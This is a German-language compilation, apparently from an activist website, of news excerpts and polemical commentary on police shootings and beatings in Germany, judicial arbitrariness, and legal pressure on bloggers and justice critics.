Dennis J. starb in der Silvesternacht durch die Kugel aus einer Polizeipistole. Nach der Rekonstruktion der Tat ist nun klar: Der Einsatz der Waffe war rechtswidrig.
…“Die ganze Angelegenheit ist mysteriös“, sagt der Anwalt. Er kann sich nicht erklären, warum die Beamten nicht vor dem Zugriff das Auto, in dem Dennis J. saß, einfach eingeparkt haben.
Der Kleinkriminelle wartete in einem gestohlenen Jaguar in Schönfließ auf seine 19-jährige Freundin. Möglicherweise gab deren Stiefvater, ein Bundespolizist, den entscheidenden Tipp, woraufhin drei Berliner Zivilbeamte am Silvesterabend zu der Reihenhaussiedlung fuhren. Zunächst gingen die Ermittler davon aus, dass der Polizist erst auf Dennis J. geschossen habe, als dieser versuchte, mit dem Auto zu flüchten.
Doch am Dienstag erklärte die Staatsanwaltschaft, dass der Beamte gleich zu Beginn des Einsatzes auf den 26-Jährigen zielte. Schwer verletzt habe dieser dann versucht, mit dem Auto zu fliehen. Dennis J. starb wenig später, sein Auto raste ungebremst 150 Meter die Straße entlang, bis es in eine Wand fuhr.
Am Montag war der Berliner Polizeibeamte wegen des Verdachts auf Totschlag festgenommen worden, der Haftbefehl wurde jedoch wieder gegen Auflagen ausgesetzt. Die Angehörigen von Dennis J. äußerten sich bestürzt darüber, dass der Polizist nicht unmittelbar nach der Tat vom Dienst suspendiert worden war und jetzt wieder auf freiem Fuß ist.

Ein Gerücht zerstört ein Leben, Vom SEK zum schwerbehinderten geprügelt, sueddeutsche.de 17.07.2008
Ein Sondereinsatzkommando der Polizei überfällt den Kölner Josef Hoss, weil ein Nachbar behauptet, er horte Handgranaten. Der Mann wurde schwer verprügelt – jetzt ist er schwerbehindert und streitet mit dem Land Nordrhein-Westfalen.
Acht Jahre ist es her, dass sie Hoss auf Grund eines falschen Verdachts verprügelten, so brutal, dass er jetzt arbeitsunfähig ist, zu 80 Prozent schwerbehindert. Sein einst blühender Fliesenlegerbetrieb ruht, sein Haus ist verkauft, Hoss ein gebrochener Mann. „Acht Jahre Kampf“, sagt er, „das hält kein Mensch aus.“
Er meint damit nicht den täglichen Kampf mit seinem schmerzenden Körper. Sondern den gegen das Land Nordrhein-Westfalen, das er auf Schadenersatz und Schmerzensgeld verklagt hat. Bis heute aber hat Hoss keinen Cent bekommen, nicht mal eine Entschuldigung.
Schließlich, heißt es in der Berufungsbegründung, sei der Zugriff „unter Anwendung der mildesten Mittel im Sinne des Grundsatzes der Verhältnismäßigkeit“ angeordnet worden. Man habe mit den „Einsatzmehrzweckstöcken“ nur die Muskulatur gelockert, nachdem Hoss passiven Widerstand geleistet habe, indem er sich die Hände nicht nach hinten führen lassen wollte. Hoss sagt, er wollte nur sein Gesicht vor den Schlägen schützen. Als letzte Chance bleibt ihm nur noch die Revisionsverhandlung am 14. August in Köln.

Heppenheimer mit meheren Schüssen erschossen um ihn vor sich selbst zu schützen:
Nach einer Messerattacke auf Polizisten ist ein 66-Jähriger in Heppenheim von Sondereinsatzkräften erschossen worden. Zu dem Vorfall am späten Heiligabend blieben auch gestern noch viele Fragen offen. Die näheren Umstände werden derzeit untersucht, sagte ein Sprecher des ermittelnden Landeskriminalamtes in Darmstadt. Zum Beispiel sei noch unklar, wer der Schütze war und ob es sich tatsächlich um Notwehr handelte.
Ein Augenzeuge berichtet in einem anderen Fall:
Ein trunkener Mann ist in der Bahn unterwegs und hat in einer Plastiktüte ein kleines Messer dabei. Modell “Schweizer Taschenmesser” , Klinge etwa 7-8 cm.
Die Strassenbahn wird angehalten , es kommen 3 Streifenwagen mit je 2 Beamten und holen den betrunkenen Mann raus aus der Bahn. Die Beamten haben Westen an, Schlagstöcke in den Händen und 2 haben Pfefferspay in der Hand und 2 der Beamten haben eine gezogene und entsicherte Schusswaffe auf den Mann gerichtet. …Nachdem der trunkene Mann , der weder aufrecht stehen noch geradeaus gehen kann, die Ladung Pfefferspray direkt in die Augen bekommen hat, versucht er sich instiktiv zu wehren und fuchtelt etwas mit dem Messer rum. Einer der Beamten fühlt sich bedroht und schiesst dem Mann aus 3 Metern direkt in die Brust. Natürlich ist der Mann sofort verstorben. Passiert ist das direkt an der Haltestelle gegenüber von meiner Wohnung.

Todesschüsse in Fürth: Ermittlungen gegen Polizisten erwartungsgemäß eingestellt – Ruhestörer “zwang” zur Notwehr
Es war zu erwarten: Das in Darmstadt geführte Ermittlungsverfahren gegen zwei südhessische Polizisten wegen Verdachts der fahrlässigen Tötung eines Ruhestörers wurde nun eingestellt.
Am 6. August letzten Jahres, einem Sonntagvormittag, war ein 55 Jahre alter Mann aus Fürth (Kreis Bergstraße/ Odenwald) im Rohbau des von ihm zuvor in Eigenregie errichteten dreieinhalbstöckigen Mehrfamilienhauses erschossen worden. Die beiden Polizisten, eine Polizeioberkommissarin und ein Polizeikommissar, hatten insgesamt 4 Schüsse auf den Mann abgegeben – angeblich aus Notwehr bzw. aus Nothilfe.
Der kleingewachsene Mann habe sich der Polizistin bis auf 1,5m mit erhobenem Beil genähert und habe ihre Aufforderungen, stehen zu bleiben und die Axt niederzulegen, ignoriert.
Das kann so abgelaufen sein und klingt dennoch unwahrscheinlich – trotz eines rechtsmedizinischen Gutachtens, das die Version der beiden Polizisten (angeblich) bestätige.
Wie es dazu kommen konnte, dass ein banaler Polizeieinsatz wegen Ruhestörung mit tödlichen Schüssen endet, beschäftigt die in Heppenheim ansässige Redaktion des Starkenburger Echo nach eigenen Worten “seit mehr als vier Monaten“. Solange gehe man der Frage nach, wie es “dazu kommen ” konnte.

Tragischer Polizeieinsatz, Tod im Treppenhaus, 14.07.2009
Es war das furchtbare Ende eines Routineeinsatzes: Mit mindestens zwölf Schüssen töteten Ende April zwei Regensburger Polizisten den Musikstudenten Tennessee Eisenberg. Die Beamten hätten in Notwehr gehandelt, hieß es zunächst, doch die Angehörigen des Opfers haben Zweifel.
Die Polizisten trafen in der Wohnung auf den mit einem Messer bewaffneten Eisenberg, der sie die Treppe wieder hinunter drängte. Die Beamten hätten den Studenten wiederholt gewarnt, dass sie schießen würden, sollte er das Messer nicht fallen lassen, hieß es. Eisenberg aber soll sie ausgelacht haben: „Ja, dann schießt doch!“ Im Erdgeschoss dann habe der Student einen 33-jährigen Zivilfahnder und Polizeihauptmeister derart massiv bedroht, dass dessen Kollegen feuern mussten.
Obschon der Trupp auch mit Schlagstöcken ausgerüstet und dem Studenten schon Pfefferspray ins Gesicht gespritzt worden war, gaben die Polizeihauptmeister Christian M., 33, und Klaus B., 40 (Einer war zuvor in einem Sondereinsatzkommando ausgebildeter Nahkämpfer), insgesamt 16 Schüsse auf den schmächtigen Eisenberg ab. Mindestens zwölf Geschosse trafen den 1,84 Meter großen und gerade einmal 70 Kilogramm schweren Musiker, darunter auch drei Kugeln, die von hinten in Rücken, Knie und linken Oberschenkel des Opfers einschlugen. Eine Stunde später war Tennessee Eisenberg tot.

Die Internetseite zur Ungleichbehandlung von Polizei und Nicht-Polizei vor Gerichten
Die Polizei hat die Herrschaft über die Definition von Wirklichkeit.
Der ehemalige Hamburger Innensenator Harthmut Wrocklage am 12.12.2006 in Marburg
Wenn einE PolizistIn, ein Angehöriger der Justiz oder anderer Behörden, oft aber auch dann, wenn PolitikerInnen angeklagt sind, richtet sich bereits die Ermittlungstätigkeit zumindest von Polizei und Staatsanwaltschaft, oft aber auch der Gerichte, darauf, herauszufinden, ob es Umstände gibt, die die Tat rechtfertigen (Notwehr, Versehen, Unfall, Schock, geistige Umnachtung). Wenn dagegen jemand anderes angeklagt ist, richtet sich das Interesse der Ermittlungsbehörden darauf, dem Beschuldigten die Tat nachzuweisen. Das ist in den Gerichtsakten, Vernehmungen und spätestens in Anklage und/oder Urteil gut erkennbar. Mechanismen sind u.a.:…

Ohne Amtsausweis – Zwangsvollstreckung wegen 20 Euro Schornsteinfegergebühren – Polizisten prügeln wehrlose Rentner krankenhausreif, 29.04.2010
In der schönen Uckermark zwischen Schwedt und Angermünde war am 28.04.2010 eine so genannte Vollzieherin um 20,00 Euro für angebliche Schornsteinfegertätigkeiten einzutreiben. Die Dame konnte sich nicht ausweisen. Den Sachverhalt wollten die hinzu gerufenen Polizisten auch nicht klären. Nach über einer Stunde hat die so genannte Vollzieherin den Ort verlassen. Danach haben 6 der 8 inzwischen anwesenden Polizisten den Gartenzaun übersprungen und sind über die Hausbewohner und deren Gäste, 3 fast 60 Jahre alte Männer und einem Kleinkind (ca. 2 Jahre ) das von der Mutti noch schnell in Sicherheit gebracht werden konnte über die dort Anwesenden prügelnder Weise hergefallen. Ein Gast, ein 59 Jahre alter Mann musste mit dem Krankenwagen nach Schwedt ins Krankenhaus gebracht werden.

Extra 3, Kunstwerk „Arschficker“ vor dem Amtsgericht Schwerin im Jahr 2005 vom Künstler Günther Schuhmann

Ex-Kripo-Beamte nach Banküberfall zu fast fünf Jahren Haft verurteilt, 30.03.2009
Das Bremer Landgericht hat einen ehemaligen Beamten der Kriminalpolizei zu vier Jahren und zehn Monaten Haft verurteilt. Der Ex-Kripo-Beamte hatte vor knapp zwei Jahren eine Bank zu überfallen.
Ein früherer Kriminalbeamter des Bremer Raubdezernats ist wegen Banküberfällen und Betrugs zu vier Jahren und zehn Monaten Haft verurteilt worden. Das Landgericht Bremen sprach den 55-Jährigen am Montag einer versuchten und einer vollendeten schweren räuberischen Erpressung unter Benutzung seiner Dienstwaffe schuldig. Zudem verurteilte es den Mann wegen Betrugs in einem besonders schweren Fall. Die Richter ordneten für den alkoholkranken Mann außerdem eine Entziehungskur an. Die Verteidigung kündigte Revision an.

„Der deutsche Staat ist ein bürgerfeindliches, selbstzerstörerisches und in der letzten Konsequenz illegitimes Gebilde.“
Dr. Konrad Hummler 30.04.2008

„In Deutschland gilt derjenige als viel gefährlicher, der auf den Schmutz hinweist als der, der ihn gemacht hat.“
(Carl von Ossietzky)

Bei den Universitätswissenschaftlern besteht eine strukturbedingte Unfähigkeit zu solidarischem Handeln. Ihnen wird im Zuge ihres Aufstiegs Konkurrenz ansozialisiert. Die Regel unter ihnen sind nichtsolidarische Gruppenzusammenschlüsse prekärer Art, nämlich Seilschaften und Zitierkartelle. Und wer siegreich aus diesem Kampf hervorgegangen ist, wird das Konkurrenzsystem für gerecht, und, wenn er besonders bequem denkt, sogar für „objektiv“ halten. In der Wissenschaft aufgestiegene Menschen sind daher im Allgemeinen sozial viel dümmer als etwa Fabrikarbeiter, die durch Erfahrung lernen, dass es ihnen schlechter geht, wenn sie nur für sich ihr Glück versuchen. Prof. Dr. Bodo Zeuner , die tageszeitung vom 16.7.2007

Polizeigewalt, Sie haben hier überhaupt keine Rechte, 19.07.2009
Die Polizei- dein Freund und Helfer. Dieses Klischee wird jedenfalls suggeriert, und von einem Grossteil der Bevölkerung auch kritiklos reflektiert. Wirft mensch allerdings einen Blick auf die amnesty- international Jahresberichte für Deutschland, offenbart sich eine ganz andere Sichtweise.

Der Zivilcouragierte wird mit 1000 EUR bestraft, denn Gerhard Schröder: „Zivilcourage ist nicht umsonst zu haben!“
und daher muß man, wenn man Zivilcourage gegenüber dem Staat tätigt 1000 EUR an den Staat zahlen.
…Damit nicht der Eindruck entsteht, die gesamte deutsche Polizei sei vermummt, gewalttätig und bewaffnet noch ein erfreulicheres Beispiel: 1993 hat der Polizeibeamte Roland Schlosser den Flüchtling Alves da Costa aus dem Gefängnis im Südpfälzischem Landau befreit. Er war mit zwei anderen Männern in einer neun Quadratmeter großen Zelle mit Holzpritsche untergebracht. Aus Personalmangel verwehrte die Gefängnisleitung ihnen den Hofgang, so dass sie sich praktisch in Isolationshaft befanden. Schlosser setzte sich ohne Erfolg für eine Verlegung in ein anderes Gefängnis ein, doch dies ging nicht. Also befreite er da Costa, und brachte ihn bei einem Freund unter. Eine Woche später wurde da Costa das Bleiberecht zuerkannt.
Obwohl da Costa freigelassen worden wäre, wurde dieser Akt zivilen Ungehorsams hart bestraft: 2000 DM Geldstrafe, Aberkennung der Sondervergütung nach 25 Dienstjahren und schlechte Beurteilungen der Vorgesetzten. Durch sein zivil-couragiertes Handeln stoppte Schlosser die drei Menschen widerrechtlich zugefügte Gewalt. Dafür musste er ein Gesetz brechen, das zu Unrecht angewandt worden war, zu Unrecht bestand und später widerrufen wurde. Die Richter sahen in der Tat aber nicht einen Ausdruck von zivilen Ungehorsam, sondern Ungehorsam gegen bestehende Gesetze. „Zivilcourage ist nicht umsonst zu haben!“ sagte der damalige Ministerpräsident Gerhard Schröder zu Rechtfertigung.

Bankraub und Aufklärungsquote
Entgegen weit verbreitetem Glauben werden nur etwa die Hälfte aller Banküberfälle aufgeklärt. Das insbesondere seitens der Polizei ohne Angabe exakter Zahlen vermittelte Bild des fast immer geklärten Verbrechens dürfte dem Interesse an Abschreckung geschuldet sein (vgl. Handwerk hat goldenen Boden – reale Technik und ein fiktiver Raub in Vabanque).
„Allein mit einem Bild aus einer Überwachungskamera – das gibt auch die Linzer Polizei zu – wurde noch kein einziger Banküberfall geklärt, weil die Täter in der Regel ohnehin maskiert sind. Kameras wirken lediglich abschreckend, erzeugen ein Sicherheitsgefühl und bewirken laut Moechel immerhin, dass sich die Leute besser benehmen als früher‘.“ OÖNachrichten-Online vom 16.1.2003: „Big Brother“ hat in Österreich bereits 160.000 Augen“

§305 StPO, die Legitimation zur kostensteigernden Willkür in Strafverfahren, Richterin Anke Weilert AG-Minden
Richterin Anke Weilert vom AG-Minden beauftragt einen Sachverständigen festzustellen ob der Angeklagte zum Tatzeitpunkt Zurechnungsfähig gewesen sei, weil er ein entsprechendes Bild (ohne den danebenstehenden Text) in das Internet gestellt habe.Gegen den Beschluß von Richterin Anke Weilert hat der Angeklagte Beschwerde eingelegt, weil der Beschluß sinnlos und nutzlos ist und beantragt den Beschluß dergestalt abzuändern, dass der neben dem Bild stehende Text mitberücksichtigt wird und dass dem Sachverständigen die Tatzeit definiert wird und soweit dem nicht stattgegeben wird den Beschluß aufzuheben, weil es keinen Sinn macht über Tatsachen, die tatsächlich nicht gegeben sind Sachverständigengutachten einzuholen und dass insbesondere noch zu einem Tatzeitpunkt gemäß §8 StGB, den der Sachverständige selbst bestimmen soll.Es werden vollkommen sinnlos und nutzlos Kosten verursacht und zwar bei einer Verurteilung dem Angeklagten und und bei Freispruch den Bürgern.Gemäß der Staatsanwaltschaft bestätigt die Beschwerde aber nur, dass über den Angeklagten wegen singemäßer Unzurechnungsfähigkeit ein Gutachten eingeholt werden muß und zwar bezüglich von Tatsachen, die nicht gegeben sind.
Weil der Angeklagte also meint, dass nicht über imaginäre von der Richterin frei erfundene Tatsachen ein Gutachten eingeholt werden muß, sondern über tatsächlich vorhandene Tatsachen bestätigt das, dass über den Angeklagten ein Gutachten wegen nicht vorhandener Zurechnungsfähigkeit eingeholt werden muß und zwar über die imaginären Tatsachen.

Gauweiler: „Manchmal haben wir vor Feigheit gestunken“ 10.04.2009:
Gauweiler sagt einen wichtigen Satz zur Entmachtung Stoibers: „Um eine derart gravierende Entmachtung zu legitimieren – Stoiber war mit einer Zweidrittelmehrheit des Volkes gewählt worden -, hätten über den Parteivorsitzenden und zukünftigen Spitzenkandidaten wenigstens die Mitglieder der CSU in einer Urabstimmung entscheiden müssen“, sagte Gauweiler und fügte mit Blick auf die damaligen Hinterzimmerabsprachen hinzu: „Manchmal haben wir vor Feigheit gestunken.“
Und er führt weiter aus, dass sich diese Feigheit aus der mangelnden Unabhängigkeit der Abgeordneten ergibt, die eben zur Hälfte nicht von den Wählern sondern von den Parteivorständen über die Listenplätze bestimmt werden. Vom Großkapital muss somit nur eine geringe Anzahl von Leuten dauerhaft gekauft werden und trotzdem ist sichergestellt das nur die dienstbereiten und leicht biegbaren Persönlichkeiten aufsteigen. Dagegen gibt es nur einen Ausweg, den auch Gauweiler sieht.
Gauweiler forderte einen Umbau des Parlamentarismus, um die Stellung des einzelnen Abgeordneten zu stärken. Er plädierte unter anderem dafür, die Listenaufstellung für die Bundestagswahlen durch die Parteien komplett abzuschaffen, damit Abgeordnete künftig nur noch direkt von den Bürgern gewählt werden können.
Wie gesetzeskonform sind Parteien?
“Gauweiler beklagte insbesondere, dass die Fraktionsführung der Union bei wichtigen Themen, etwa der Abstimmung über die Erbschaftsteuerreform, massiv Druck auf Abweichler ausgeübt habe. “Da wurden bis zum Schluss Abgeordnete, die ihr abweichendes Votum bereits angekündigt hatten, in einer Weise geknetet und gedreht, dass es einem schlecht werden konnte.”

Abmahnschikane gegen Blog-Betreiber:
Marcel Bartels, Betreiber des beliebten kritischen Mein-Parteibuch.de wirft das Handtuch. Er weiß selber nicht mehr genau, wieviele Abmahnungen er in den letzten 1 1/2 Jahren bekommen hat. Aber damit nicht genug, jetzt wurde er vom, für seine Ignoranz gegenüber dem Internet berühmt-berüchtigten Hamburger Landgericht quasi für vogelfrei erklärt (es können ohne vorhergehende Abmahnung oder Prüfung des Sachverhalts einstweilige Verfügungen erlassen werden) und bekam vom Berliner Landgericht zudem einen Maulkorb verpasst. Das ist so absurd, dass wir hier noch mal ausdrücklich darauf hinweisen müssen, dass Marcel Bartels niemanden beleidigt oder verleumdet, sondern nur kritisch über diverse Geschäftspraktiken etc. berichtet.
Das erschreckende Fazit: Freie Meinungsäußerung wird in Deutschland nicht einfach nur verhindert, sie führt sogar zum finanziellen Ruin. Und immer mehr der angeblich unabhängigen deutschen Gerichte scheinen sich mittlerweile als lobbyistische Interessenvertreter zu verstehen, und nicht mehr länger als unabhängige demokratische Instanz. Im Namen des Volkes!
Mein Parteibuch: Durch die Erfahrungen mit meiner Webseite bin ich inzwischen zu der Überzeugung gelangt, dass öffentliches Engagement von deutschen Politikern nur solange erwünscht ist, wie Duckmäuser den in den von ihnen kontrollierten Massenmedien verbreiteten Unfug nachplappern. Ebenso bin ich zwischenzeitlich davon überzeugt, dass öffentliches Gehör findende Meinungsäußerungen von vielen Politikern und einigen diesen Politikern nahestehenden Richtern und anderen Juristen nicht erwünscht sind, sondern als Gefahr der Aufdeckung von Straftaten und anderem Fehlverhalten ebenso konsequent wie listenreich bekämpft werden.
Mein grundgesetzlich garantiertes Recht auf Meinungsfreiheit ist in Deutschland offensichtlich nicht das Papier Wert ist, auf dem es gedruckt ist. Es ist absehbar, dass ich für die weitere Veröffentlichung meiner Rechercheergebnisse und meiner Meinung unter meinem eigenen Namen unter Missbrauch der Gerichte zumindest finanziell ruiniert oder gar ins Gefängnis gesperrt würde.
Dritte Abmahnung von der Kanzlei Schertz-Bergmann:
In der Post habe ich heute die Abmahnung von Anwalt Dominik H. von der Kanzlei Schertz Bergmann gefunden, über die ich hier berichtet habe. Der Brief war ungewöhnlich dick und enthielt tatsächlich nicht nur zwei Seiten, sondern vier Seiten. Und siehe da, da war noch eine weitere Abmahnung drin. Mit dieser Abmahnung soll mir nun anscheinend die Berichterstattung zur Abmahnung im Namen eines Polizeipräsidenten a.D. komplett untersagt werden.
Im Abmahnschreiben wird behauptet, dass ich über eine zivilrechtliche, presserechtliche Auseinandersetzung mit dem Polizeipräsidenten a.D. berichte, dies unzulässig sei, die Persönlichkeitsrechte des Mandanten verletze und daher die gesamte Darstellung diesbezüglich zu unterlassen sei.
In dem Unterlassungsbegehren werde ich dann aufgefordert, mich dazu zu verpflichten, zukünftig identifizierend über eine zivilrechtliche Auseinandersetzung zwischen mir und dem Polizeipräsidenten a.D. zu berichten und/oder berichten zu lassen. Wie soll ich da noch berichten können? Wie kann diskutiert werden, ob der Polizeipräsident a.D. eine absolute Person der Zeitgeschichte ist – ich meine, angesichts dieser Chronik des rbb spricht viel dafür – ohne dass bekannt wird, um welche Person der Zeitgeschichte es bei den Berichten geht? Wie kann die Frage diskutiert werden, ob die materielle Wahrheit, wer der Sohn des Polizeipräsidenten ist, bei der juristischen Bewertung dieses Falles eine Rolle spielt?
Abmahnung auch für Rechtsanwalt Thomas Klotz:
Rechtsanwalt Thomas Klotz vom RA-Blog hat für das Zitieren aus der mir später per einstweiliger Verfügung untersagten Veröffentlichung eine Abmahnung erhalten, worin zum Ausdruck gebracht wurde, dass das Zitieren aus Abmahnschreiben verboten sei. Daraus entnehme ich, dass es in Deutschland verboten ist, aus Abmahnschreiben wörtlich zu zitieren und der Inhalt von Abmahnungen mit eigenen Worten wiedergegeben werden sollte.

Justizkritik bestraft – Urteil in Kirchhain, 30.11.2008:
Justizkritik
ist in politischen Bewegungen (leider) sehr selten. RichterInnen genießen hohes Ansehen und Rechtshilfegruppen empfehlen, sich ihren Regeln widerspruchslos zu unterwerfen. Dabei sind die formalen Abläufe und politischen Kungeleien in Gerichtssälen an Ekligkeit kaum zu übertreffen. Das färbt auf die dort handelnden Personen ab, die nach 10, 20 oder mehr Jahren uneingeschränkter Macht auf dem RichterInnenstuhl, erhöhten Sitzpositionen (Blick von oben herab) und fließbandmäßigen Verbreitens sozialer Schrecken grausamer Art (Freiheitsberaubung, soziale Isolation, Zerstörung bestehender Beziehungen zwischen Menschen, Nötigung und Aussageerpressung durch Androhung hoher Strafen …) zu arroganten, machtverwöhnten Charakteren heranreifen. Jede Restspur von Freundlichkeit ist nichts als Gnade gegenüber reumütigen, unterwürfigen Angeklagten – und damit auch eine Ausdrucksform von uneingeschränkter Macht. Gnade ist Herrschaftsausübung, sie beinhaltet die Aussage, dass die begnadigte Person vollständig in der Hand des Gnadegebers ist.
Wer nun zu den wenigen Menschen in diesem Land gehört, die Justiz systematisch zu kritisieren, kann die narzißtischen Charaktere zum Handeln reizen. Dafür gibt es viele Handlungsmöglichkeiten. Eine – für die RichterInnen selbst eher anstrengende und daher nur dann gewählt, wenn anderes nicht mehr hilft – Methode ist, die Justizkritik als Beleidigung oder falsche Verdächtigung auszulegen. Genau dieses ist in Marburg mit dem langjährigen Justizkritiker Ulrich Brosa geschehen. Der Prozess am 25.11.2008 ist dabei nur ein vorläufiger Höhepunkt und auch nicht der Abschluss des traurigen Machtspiels. Schon der Weg zum Prozess ist mit absurdesten Konstrukten von Straftaten gepflastert.

Staatsrache, Justizkritische Beiträge gegen die Dummheit im deutschen Recht(ssystem), Dr. Richard Albrecht
…eine der vielen, über den blossen Amtsschimmel bekannter Paragraphenreiterei hinausgehende, nur noch als (ab einem bestimmten Punkt auch vorsätzlichen) sittenwidrigen Schädigungen höchstgefährlicher wie hirnschrissiger Ausprägung, die Betroffene, die logisch und/oder wissenschaftlich denken, niemals werden nachvollziehen können. Wobei hinzukommt, dass die gegenwärtige deutsche Amtsrichterei, wenn nur der ´Streitwert´ gering genug ist, ein unkontrollierbares, insofern absolutistisches, Regime darstellt, weil im herrschaftlichen Handlungssystem ´Gericht´ keinerlei Revision/Berufung möglich und jede Beschwerde (oder gar Strafantrag von Geschädigten gegen deutsche Berufsrichter/innen) wirkungslos ist. Auch wenn man über Einzelheiten streiten mag: Nach meiner, zugegeben: ganz subjektiven, Gerichtserfahrung gibt es in zwei von drei Fällen kein „faires Verfahren“ („fair trial“) im Sinne der Europäischen Menschenrechtskonvention/EMRK. So dass ich nur hoffen kann, dass meine Erfahrung einerseits atypisch ist und andererseits baldmöglichst empirisch falsifiziert werden möge…

“Manöver der Ausgrenzung und Isolierung” : Norbert Leppert über Glanz und Elend der Justizkritik und die Krallen der Kritisierten
Vielen kritischen Websites und Weblogs, die in seriöser Form die oft haarsträubenden Missstände in Behörden und Justiz thematisieren, dürfte vertraut sein, was Norbert Leppert, ehemals Gerichtsreporter der Frankfurter Rundschau, über den “Balance-Akt” der Justizkritik zu sagen hat.
Norbert Leppert ist, zusammen mit Frauke Höbermann und Holger Weimann, Mitverfasser des Handbuchs “Gerichtsreporter – Praxis der Berichterstattung. Gudrun Hoffmann hat diesen lesenswerten Beitrag gefunden und auf der Website der Humanistischen Union Marburg kommentiert.
Realität ist, dass die Justiz im Konflikt mit den Medien über beachtliche Mittel und Möglichkeiten verfügt, sich der Kritik und ihrer Kritiker zu erwehren: mal frontal und knüppelhart, mal indirekt und hintenherum, mal durch Ignorieren und Wegducken und selten, viel zu selten noch durch Bereitschaft zu konstruktiver Auseinandersetzung, zum Dialog mit dem Kritiker. Auf diese Realität hat der Gerichtsreporter, der etwas verändern, etwas bewegen will, sich einzustellen. Damit muss er umgehen können.
Verteidigung sei Kampf, verlangt der legendär gewordene Hans Dahs in seinem ebenso legendären “Handbuch des Strafverteidigers”. Eine Forderung, die ich für mein Metier aufnehmen möchte, allerdings aber etwas weniger pathetisch und in dieser Formulierung: Justizkritik sei Engagement, und Engagement verlangt vom Gerichtsreporter, dass er im Auftrag seines Publikums die Kraft aufbringt, aber auch die Kompetenz und Unabhängigkeit besitzt, sich von Fall zu Fall bei der Justiz unbeliebt zu machen und zwar gründlich und mit allen Konsequenzen. Kein Gejammer, dafür aber das Bemühen, rückblickend und nunmehr jenseits des täglichen Getümmels etwas von den Bedingungen zu objektivieren, unter denen Justizkritik in der Bundesrepublik zu leisten ist, aber auch zu leiden hat.
Leiden als ein eklatanter Mangel, als eine empfindliche und in jeder Weise ernstzunehmende Einschränkung bei der Wahrnehmung eben jenes publizistischen Auftrags, dem in der Gerichtsberichterstattung die fraglos schwierigste, aber auch wichtigste Funktion zukommt: Kritik und Kontrolle der Justiz durch Öffentlichkeit. […]
Wie schön liberal klingt es doch …
Wie schön liberal klingt es doch, wie verständnisvoll, wenn bedeutende Justiz-Repräsentanten ausdrücklich bekunden, wie sie sich die Arbeit unserer Presse vorstellen: als wachsame und kritische Begleitung und nicht etwa als Hofberichterstattung und langweiligen Verlautbarungs-Journalismus.
Jenseits der Festtagsrede jedoch erweist sich solcherart Bekenntnis oft nur von kurzer Dauer, dann nämlich, wenn es im täglichen Geschäft plötzlich Ernst wird und die Justiz öffentlich unter Kritik gerät. Eben noch gestreichelt und ermuntert, bekommt der Reporter im Gericht zu spüren, dass die ihm dargereichte Hand einige hübsche Krallen hat. Und der Arm dieser Hand kann sich auch als ausgesprochen lang erweisen, bis hoch hinauf in die Chefetage von Verlag oder Sender.

Aufklärungsjournalismus und Justizsauereien
Wer in der korrupten Bananenrepublik Deutschland Enthüllungs- und Aufklärungsjournalismus betreibt, der lebt gefährlich.
Unter dem Deckmantel der üblen Nachrede, Verleumdung, Beleidigung werden subjektive Gerichtsbeschlüsse gefasst, und Menschen zu drakonischen Geldstrafen (Ersatzfreiheitsstrafen) verdonnert.
Weder kommt es zu fairen Gerichtsverfahren, noch werden Pflichtverteidiger bewilligt.
Menschen ohne/mit niedrigem Einkommen sind dieser kapitalistischen Willkür schutzlos ausgeliefert.
…Im Klartext, wer sich weder die Presse noch einen guten Anwalt leisten kann, der wird gnadenlos abgezockt von kriminellen juristischen Banden.
Ein gewisser SPD Anwalt Rudolf Hartmann kann ja auch recht gut mit der Justiz in Mittelhessen, was derartige Praktiken anbelangt, wie z.B. die Startseite von http://herbstrose.npage.de/ beweist.
Wieder einmal wurde dokumentiert, Deutschland ist eine korrupte Bananenrepublik, mit skrupellosen Juristen an der Spitze der Gesetzesbrecher.
Manch ein Opfer spricht schon nicht mehr von „Heuschrecken“, sondern von „Totengräbern“.
Dazu die Frage, wie soll/kann ein Rechtsstaat funktionieren, wenn sie die Verantwortlichen aus Politik und Justiz selber nicht dran halten?

Schweig stille für Rechtsanwälte, die gegen Behörden handeln! Es gibt das “Sachlichkeitsgebot“, 01.11.2008
Mehrere Sozialleistungsbehörden, z. B. Jugend- und Sozialämter, wollen einen engagierten Rechtsanwalt (www.rechtsanwalt-kroll.de und www.behindertemenschen.de) durch Einleitung eines anwaltlichen Standesverfahren am 27.10.2008 in seinem Wirkungskreis erheblich beeinträchtigen und beschneiden (§ 114 BRAO). Der Anwalt setzt sich seit Jahrzehnten für die Verwirklichung sozialer Gerechtigkeit und sozialer Sicherheit seiner hilfebedürftigen Mandanten im Sinne des § 1 BRAO ein, wobei sein anwaltliches Engagement insbesondere behinderten Menschen gilt, um diesen ein menschenwürdiges Leben und eine Teilhabe am Leben in der Gesellschaft zu ermöglichen und diese vor staatlicher Machtüberschreitung zu schützen (vgl. § 1 BORA).
Der Anwalt hat in der Vergangenheit mehrere Einschüchterungsversuche durch Behörden erfolgreich abwehren können (vgl. z. B. anwaltliches Standesverfahren 1997 sowie Zurückweisung eines Strafbefehls). Der Anwalt, der jährlich ca. 1.000 Fälle im
Hartz IV-Bereich bearbeitet, musste im Rahmen einer anwaltlichen Interessenvertretung in ca. 2-3 Fällen pro Jahr zur Vermeidung von irreparablen gesundheitlichen Schäden seiner behinderten Mandanten und zur Abwendung von Eigen- und Fremdgefährdung sowie einer potenziellen Amokgefahr (vgl. Aufsatz von Christoph sowie Präsentation Gewaltphantasien „Fall Christoph“) sozusagen im Kampf um das Recht teilweise zu drastischen, aber wirkungsvollen Maßnahmen gegenüber den verantwortlichen Behörden greifen. Die Betroffenen waren eklatanten Willkürakten durch die verantwortlichen Amtsträger bis hin zur Rechtsbeugung (vgl. § 339 StGB) ausgesetzt.
Zudem wird der Anwalt die Öffentlichkeit auch darüber informieren, wie ein Hartz IV-Richter eines Sozialgerichtes in Niedersachsen z. B. die Rechte einer Hartz IV- Empfängerin unter Verstoß der richterlichen Unabhängigkeit in skandalöser Art und Weise beschnitten hat, dieser Richter aber dennoch in ein höheres Richteramt befördert wurde (Anschuldigungsschrift vom 05.01.2007/EV 83/05).
Ferner soll die Öffentlichkeit darüber informiert werden, mit welcher Behördenwillkür ein Jugendamt Rechtsansprüche von seelisch behinderten Kindern sowie Kinder- und Jugendhilfetherapeuten beschnitten hat (Anschuldigungsschrift vom 04.12.2006/EV 203/06).
